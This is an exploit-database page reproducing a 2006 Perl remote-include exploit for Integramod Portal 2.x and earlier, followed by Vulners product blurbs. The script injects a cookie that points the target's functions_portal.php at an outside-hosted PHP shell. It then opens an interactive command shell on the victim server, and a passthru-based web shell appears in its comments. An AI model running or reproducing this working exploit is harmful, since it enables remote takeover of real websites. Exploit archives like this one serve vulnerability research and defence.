Lucene search
K

Integramod Portal <= 2.x (functions_portal.php) Remote Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Integramod Portal Remote Include Exploit script for <= 2.x versions of functions_portal.php allows remote command execution through a vulnerable parameter

Code

                                                #!/usr/bin/perl
# Method found and exploit scripted by nukedx
# Contacts&#62; ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: [email protected]
# Original advisory can be found at: http://www.nukedx.com/?viewdoc=47
# 
# Integramod Portal &#60;= 2.x Remote Command Execution Exploit
# 
# This exploit comes with it&#39;s own php shell setting. If you wanna change it your file must contain this data &#62;
#
# &#60;?php
# echo &#34;_START_\n&#34;;
# ini_set(&#34;max_execution_time&#34;,0);
# error_reporting(0);
# passthru($_REQUEST[command]);
# echo &#34;\n_END_&#34;;
# ?&#62;
#
# Copyright 2006 (C) nukedx
#
# Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my  friends
use IO::Socket;
# Default configuration
$shell = &#34;http://hometown.aol.com/yarivgiladi/sh.php&#34;;
# Checking user settings
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print &#34;\n- NukedX Security Advisory Nr.2006-43\r\n&#34;;
  print &#34;- Integramod Portal&#60;= 2.x Remote Command Execution Exploit\r\n&#34;;
}
sub usage() 
{
  header();
  print &#34;- Usage: $0 &#60;host&#62; &#60;path&#62;\r\n&#34;;
  print &#34;- &#60;host&#62; -&#62; Victim&#39;s host ex: www.victim.com\r\n&#34;;
  print &#34;- &#60;path&#62; -&#62; Path to Integramod ex: /integra/ or just /\r\n&#34;;
  exit();
}
sub exploit() {
  # User variables
  $host = $ARGV[0];
  $host =~ s/(http:\/\/)//eg;
  $target = $ARGV[1].&#34;includes/functions_portal.php&#34;;
  $good = 0;
  $c2s = &#34;command=whoami&#34;;
  $c2slen = length($c2s);
  print &#34;Trying to connect: $host\r\n&#34;;
  $sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $host, PeerPort =&#62; 80) || die &#34;Connection  failed...\r\n&#34;;
  print &#34;Connected to victim: $host\r\n&#34;;
  print $sock &#34;POST $target HTTP/1.1\n&#34;;
  print $sock &#34;Host: $host\n&#34;;
  print $sock &#34;Accept: */*\n&#34;;
  print $sock &#34;Referer: $host\r\n&#34;;
  print $sock &#34;Accept-Language: tr\r\n&#34;;
  print $sock &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
  print $sock &#34;Accept-Encoding: gzip, deflate\r\n&#34;;
  print $sock &#34;User-Agent: NukeZilla\r\n&#34;;
  print $sock &#34;Cookie: phpbb_root_path=&#34;.$shell.&#34;?\r\n&#34;;
  print $sock &#34;Content-length: $c2slen\r\n&#34;;
  print $sock &#34;Connection: Keep-Alive\r\n&#34;;
  print $sock &#34;Cache-Control: no-cache\r\n\r\n&#34;;
  print $sock $c2s;
  print $sock &#34;\r\n\r\n&#34;;
  while($result = &#60;$sock&#62;)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      if (!$whoami) {
        $whoami = trim($result);
        print &#34;Logged as $whoami\r\nType exit for exit dont press ctrl+c\r\n&#34;;
      }
    }
    if ($good==0) 
    {
      if ($result =~ /Warning: include_once/) { print &#34;Sorry victim is not vulnerable...\r\nClosing  exploit...\r\n&#34;;sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
  while()
  {
    print &#34;[&#34;.$whoami.&#34;@&#34;.$host.&#34; /]\$ &#34;;
    while(&#60;STDIN&#62;)
    {
      $cmds=$_;
      chomp($cmds);
      last;
    }
    if ($cmds =~ /^exit/) { print &#34;Closing exploit...\r\n&#34;;sleep(3);exit(); }
    else { sendcmd(); }
  }
}
sub sendcmd () {
  $c2s = &#34;command=&#34;.$cmds;
  $c2slen = length($c2s);
  $sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $host, PeerPort =&#62; 80) || die &#34;Connection lost...\r\n&#34;;
  print $sock &#34;POST $target HTTP/1.1\n&#34;;
  print $sock &#34;Host: $host\n&#34;;
  print $sock &#34;Accept: */*\n&#34;;
  print $sock &#34;Referer: $host\r\n&#34;;
  print $sock &#34;Accept-Language: tr\r\n&#34;;
  print $sock &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
  print $sock &#34;Accept-Encoding: gzip, deflate\r\n&#34;;
  print $sock &#34;User-Agent: NukeZilla\r\n&#34;;
  print $sock &#34;Cookie: phpbb_root_path=&#34;.$shell.&#34;?\r\n&#34;;
  print $sock &#34;Content-length: $c2slen\r\n&#34;;
  print $sock &#34;Connection: Keep-Alive\r\n&#34;;
  print $sock &#34;Cache-Control: no-cache\r\n\r\n&#34;;
  print $sock $c2s;
  print $sock &#34;\r\n\r\n&#34;;
  while($result = &#60;$sock&#62;)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      print $result;
    }
    if ($good==0) 
    {
      if ($result =~ /Warning: include_once/) { print &#34;Sorry victim is not vulnerable or patched!...\r\nClosing  exploit...\r\n&#34;;sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
}
sub trim($)
{
  	my $string = shift;
  	$string =~ s/^\s+//;
  	$string =~ s/\s+$//;
  	return $string;
} 

# nukedx.com [2006-08-24]

# milw0rm.com [2006-08-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation